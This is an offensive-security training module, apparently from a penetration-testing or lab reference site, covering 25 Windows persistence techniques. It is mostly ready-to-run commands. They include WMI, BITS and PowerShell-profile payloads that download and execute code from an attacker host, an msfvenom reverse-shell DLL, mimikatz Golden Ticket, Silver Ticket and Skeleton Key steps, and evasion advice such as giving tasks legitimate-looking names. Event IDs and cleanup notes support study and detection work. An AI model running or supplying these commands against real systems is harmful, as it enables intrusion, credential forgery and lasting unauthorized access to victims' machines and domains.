Back to All Modules

Windows Persistence

#Overview

Windows persistence mechanisms ensure continued access to a compromised system. Methods range from simple registry autostart entries to sophisticated Active Directory-based persistence like Golden Tickets and Skeleton Keys. The choice of method depends on privilege level, target environment monitoring, and engagement duration. Most techniques require administrative privileges, but some (registry Run keys, startup folder) work with standard user access.

#Prerequisites

  • Administrative or SYSTEM privileges (for most methods)
  • Access to the target system (interactive shell, WinRM, or RDP)

#Techniques

#1. Scheduled Tasks

Create tasks that execute payloads on login, startup, or at specific intervals.

# Create a task that runs at user logon
schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\payload.exe" /sc onlogon /ru SYSTEM

# Create a task that runs daily at a specific time
schtasks /create /tn "Maintenance" /tr "powershell -c 'Invoke-WebRequest http://LHOST/beacon'" /sc daily /st 09:00 /ru SYSTEM

# Create a task that runs every hour
schtasks /create /tn "HealthCheck" /tr "C:\temp\shell.exe" /sc hourly /mo 1 /ru SYSTEM
POWERSHELL

Event ID 4698 is generated on task creation. Event ID 106 is generated when the task runs.

#2. Registry Run Keys

Programs added to Run keys execute at user logon. Available to standard users for HKCU.

# Current User (no admin required)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Update" /t REG_SZ /d "C:\Windows\Temp\payload.exe" /f

# Local Machine (admin required)
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityScan" /t REG_SZ /d "C:\Windows\Temp\payload.exe" /f

# RunOnce (executes once, then key is deleted)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "Setup" /t REG_SZ /d "C:\Windows\Temp\payload.exe" /f

# Alternative Run locations
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices" /v "Service" /t REG_SZ /d "C:\temp\svc.exe" /f
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "Value" /t REG_SZ /d "C:\temp\payload.exe" /f
POWERSHELL

#3. WMI Event Subscriptions

High-stealth persistence. Trigger payload execution on specific system events (startup, process creation, time intervals). Requires administrative privileges.

# Create __EventFilter (trigger condition)
$filter = Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments @{
    Name = "SystemHealth"
    EventNameSpace = "root\cimv2"
    QueryLanguage = "WQL"
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}

# Create __EventConsumer (payload)
$consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{
    Name = "SystemHealthConsumer"
    CommandLineTemplate = "powershell -c 'IEX (New-Object Net.WebClient).DownloadString(\"http://LHOST/beacon\");'"
}

# Bind filter and consumer
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{
    Filter = $filter
    Consumer = $consumer
}
POWERSHELL

WMI persistence does not write to disk and leaves minimal registry traces, making it harder to detect than services or Run keys.

#4. Service Creation

Create a new Windows service set to auto-start. Triggers Event ID 7045.

sc create "WinSvc" binPath="C:\Windows\Temp\payload.exe" start= auto
sc start "WinSvc"
POWERSHELL

#5. Startup Folder Shortcut

No admin required. Place a shortcut in the user's Startup folder:

copy payload.exe "C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"
# OR for all users (admin required):
copy payload.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\"
POWERSHELL

#6. DLL Hijacking Persistence

Identify a DLL loaded by an auto-start application and replace it or use DLL search order hijacking. High-stealth but requires identifying vulnerable binaries.

#7. Winlogon Shell / Userinit Replacement

Replace the userinit or shell value in Winlogon to execute custom code alongside the legitimate binary:

reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Userinit" /t REG_SZ /d "C:\Windows\System32\userinit.exe,C:\temp\payload.exe" /f
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell" /t REG_SZ /d "explorer.exe,C:\temp\payload.exe" /f
POWERSHELL

#8. Logon Scripts

Execute via Group Policy or local user settings:

reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "C:\temp\logon.bat" /f
POWERSHELL

#9. COM Hijacking

Replace or register a COM object loaded by a frequently-used application. Applications query the registry for the CLSID and load the DLL. High-stealth.

#10. Image File Execution Options (IFEO) Debugger

Redirect execution of a legitimate program through a debugger key:

reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v Debugger /t REG_SZ /d "C:\temp\payload.exe" /f
POWERSHELL

#11. Golden Ticket Persistence

Forged Kerberos TGT signed with KRBTGT hash. Valid for 10 years by default, survives password changes, and provides domain-wide access. Requires Domain Admin privileges to extract KRBTGT hash:

mimikatz # privilege::debug
mimikatz # lsadump::dcsync /domain:<domain> /user:krbtgt
mimikatz # kerberos::golden /domain:<domain> /sid:<SID> /krbtgt:<hash> /user:Administrator /id:500 /ticket:golden.kirbi
mimikatz # kerberos::ptt golden.kirbi
POWERSHELL

#12. Silver Ticket for Service Persistence

Forged service ticket for a specific service. Stealthier than Golden Tickets but limited to a single service:

mimikatz # kerberos::golden /domain:<domain> /sid:<SID> /target:<target_fqdn> /service:<SPN> /rc4:<hash> /user:Administrator /ticket:silver.kirbi
POWERSHELL

#13. Skeleton Key (Domain Controller) - DESTRUCTIVE

Patches LSASS on the DC to accept a master password ("mimikatz") for any account. Survives reboots only while patched:

mimikatz # privilege::debug
mimikatz # misc::skeleton
# All users can now authenticate with password "mimikatz"
POWERSHELL

This is destructive and detectable. Use with extreme caution.

#14. DSRM (Directory Services Restore Mode) Password

The DSRM administrator is a local admin on every Domain Controller. If its password is known, it enables local DC access even after domain compromise is remediated:

mimikatz # token::elevate
mimikatz # lsadump::sam
# Look for: Administrator (DSRM account hash)
POWERSHELL

#15. AdminSDHolder Modification

Add a user to AdminSDHolder to propagate privileges to all protected groups (Domain Admins, Enterprise Admins, etc.) every 60 minutes:

# Add ACL for a controlled user to AdminSDHolder
# This user will gain GenericAll on all protected groups after SDProp runs
POWERSHELL

#16. BITS Jobs Persistence

# BITS (Background Intelligent Transfer Service) jobs — Survives reboots, low detection
bitsadmin /create "WindowsUpdate"
bitsadmin /addfile "WindowsUpdate" "http://10.10.14.5/payload.exe" "C:\Windows\Temp\payload.exe"
bitsadmin /SetNotifyCmdLine "WindowsUpdate" "C:\Windows\Temp\payload.exe" NULL
bitsadmin /resume "WindowsUpdate"
# The job downloads the file, then executes the NotifyCmdLine on completion
# BITS jobs survive reboots and run as the creating user
POWERSHELL

#17. PowerShell Profile Persistence

# Per-user profile (no admin needed)
echo 'IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.5/beacon.ps1")' >> $PROFILE
# Next time the user opens PowerShell, the payload executes

# All-users profile (requires admin)
echo 'IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.5/beacon.ps1")' >> "C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1"
POWERSHELL

#18. AppDomainManager Injection

# AppDomainManager injection — Load custom code into .NET processes
reg add "HKLM\Software\Microsoft\.NETFramework" /v "APPWINMGR" /t REG_SZ /d "payload" /f
# Requires: custom DLL in GAC or application base directory
# Affects: all .NET processes that load the default AppDomainManager
POWERSHELL

#19. COM Hijacking Specifics

# Find COM objects to hijack
Get-ChildItem "HKLM:\Software\Classes\CLSID" -Recurse | Where-Object { $_.Name -match "InprocServer32" }

# Hijack a COM object (user-level, no admin needed)
$clsid = "{CLSID-HERE}"
reg add "HKCU\Software\Classes\CLSID\$clsid\InprocServer32" /ve /d "C:\temp\payload.dll" /f
# When the COM object is instantiated by any process, our DLL loads
POWERSHELL

#20. Service DLL Search Order Hijacking

:: Find services with missing DLLs or writable paths
sc qc ServiceName
:: If the service loads a DLL that doesn't exist or from a writable directory:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f dll -o missing.dll
:: Place missing.dll in the service's binary directory
:: When service starts, it loads our DLL as SYSTEM
CMD

#21. WMI Event Subscription via wmic.exe

:: WMI event subscription via wmic.exe (alternative to PowerShell)
wmic /namespace:\\root\subscription path __EventFilter create Name="SystemHealth", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"

wmic /namespace:\\root\subscription path __FilterToConsumerBinding create Filter="__EventFilter.Name='SystemHealth'", Consumer="CommandLineEventConsumer.Name='SystemHealth'"
CMD

#22. Accessibility Tools Persistence

:: Replace accessibility tool with cmd.exe (requires SYSTEM)
copy C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
:: At the lock screen, press Shift 5 times → cmd.exe spawns as SYSTEM
:: Other targets: utilman.exe, osk.exe, Magnify.exe, Narrator.exe
:: Recovery: copy original from C:\Windows\WinSxS\ or Windows Side-by-Side
CMD

#23. Screensaver Persistence

# Screensaver persistence — executes when screensaver activates
reg add "HKCU\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "C:\temp\payload.exe" /f
reg add "HKCU\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d 1 /f
reg add "HKCU\Control Panel\Desktop" /v ScreenSaveTimeout /t REG_SZ /d 60 /f
POWERSHELL

#24. ADCS Certificate-Based Persistence

# ADCS certificate-based persistence — Request long-lived certificate
certipy req -u user@domain.local -p pass -ca CA-NAME -template User
# Use PFX for persistent domain authentication:
certipy auth -pfx user.pfx -dc-ip 10.10.10.10
# Certificate persists even after password change — long-term persistence
BASH

#25. DSRM Password Change

# Set DSRM (Directory Services Restore Mode) password on DC
ntdsutil "set dsrm password" "reset password from server" quit quit
# Or via PowerShell (requires DA):
Set-ADAccountPassword -Identity "CN=Administrator,CN=Users,DC=domain,DC=local" -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "P@ssw0rd!" -Force)
# Then enable DSRM as admin: reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v DsrmAdminLogonBehavior /t REG_DWORD /d 2
POWERSHELL

#Additional OPSEC for Persistence

# OPSEC for persistence techniques:
# BITS jobs → Event ID 59 (BITS transfer created), logged in Microsoft-Windows-Bits-Client/Operational
# WMI subscriptions → Event ID 5861 (WMI activity), enumerate: Get-WmiObject __EventFilter -Namespace root\subscription
# PowerShell profile → Event ID 4104 (script block logging)
# Scheduled tasks → Event ID 4698 (task created)
# Registry Run keys → Event ID 4657 (registry value modified, if audit enabled)
# sethc.exe replacement → Well-known detection, Event ID 4663, checked by most blue teams first
TEXT

#OPSEC by Method

MethodEvent IDsNotes
Scheduled Task4698 (creation), 106 (run)Task names should mimic legitimate system tasks
Registry Run KeysNo direct eventEasily discovered by forensic tools
WMI Subscription5861 (WMI activity)Few artifacts, hard to detect manually
Service Creation7045Service name and binary path are visible
Golden Ticket4768 (TGT request)ATA flags anomalous TGT creation
Silver TicketService-specificHarder to detect than Golden Ticket
Skeleton KeyLSASS modificationMemory patching is detectable by EDR
DSRM PasswordNo domain eventsLocal DC access bypasses domain auth

#Cleanup

  • Remove scheduled tasks: schtasks /delete /tn "TaskName" /f
  • Delete registry Run keys: reg delete "HKLM\Software\...\Run" /v "Value" /f
  • Delete WMI subscriptions: Get-WmiObject __EventFilter -Namespace root\subscription | Remove-WmiObject
  • Delete services: sc delete "ServiceName"
  • Remove startup shortcuts: delete from Startup folder
  • Regenerate KRBTGT password twice (invalidates all Golden Tickets)
  • Reboot DC after removing Skeleton Key
  • Revert AdminSDHolder ACL changes

#Common Pitfalls

  • ⚠️ Scheduled tasks fail silently if the binary path does not exist at execution time -> test after creation
  • ⚠️ Registry Run keys require the user to log in interactively -> won't trigger on service accounts
  • ⚠️ WMI subscriptions may be removed by security tools during routine cleanup
  • ⚠️ Golden Tickets become invalid if KRBTGT password is reset (Domain Admin remediation)

#Cross-References

#Tool References

ToolLink
mimikatzhttps://github.com/gentilkiwi/mimikatz
schtasksBuilt-in Windows
scBuilt-in Windows

#Source Machines

  • Return (Easy, AD) - Service binary modification via Server Operators group
  • Jeeves (Medium, Windows) - Jenkins process migration for persistence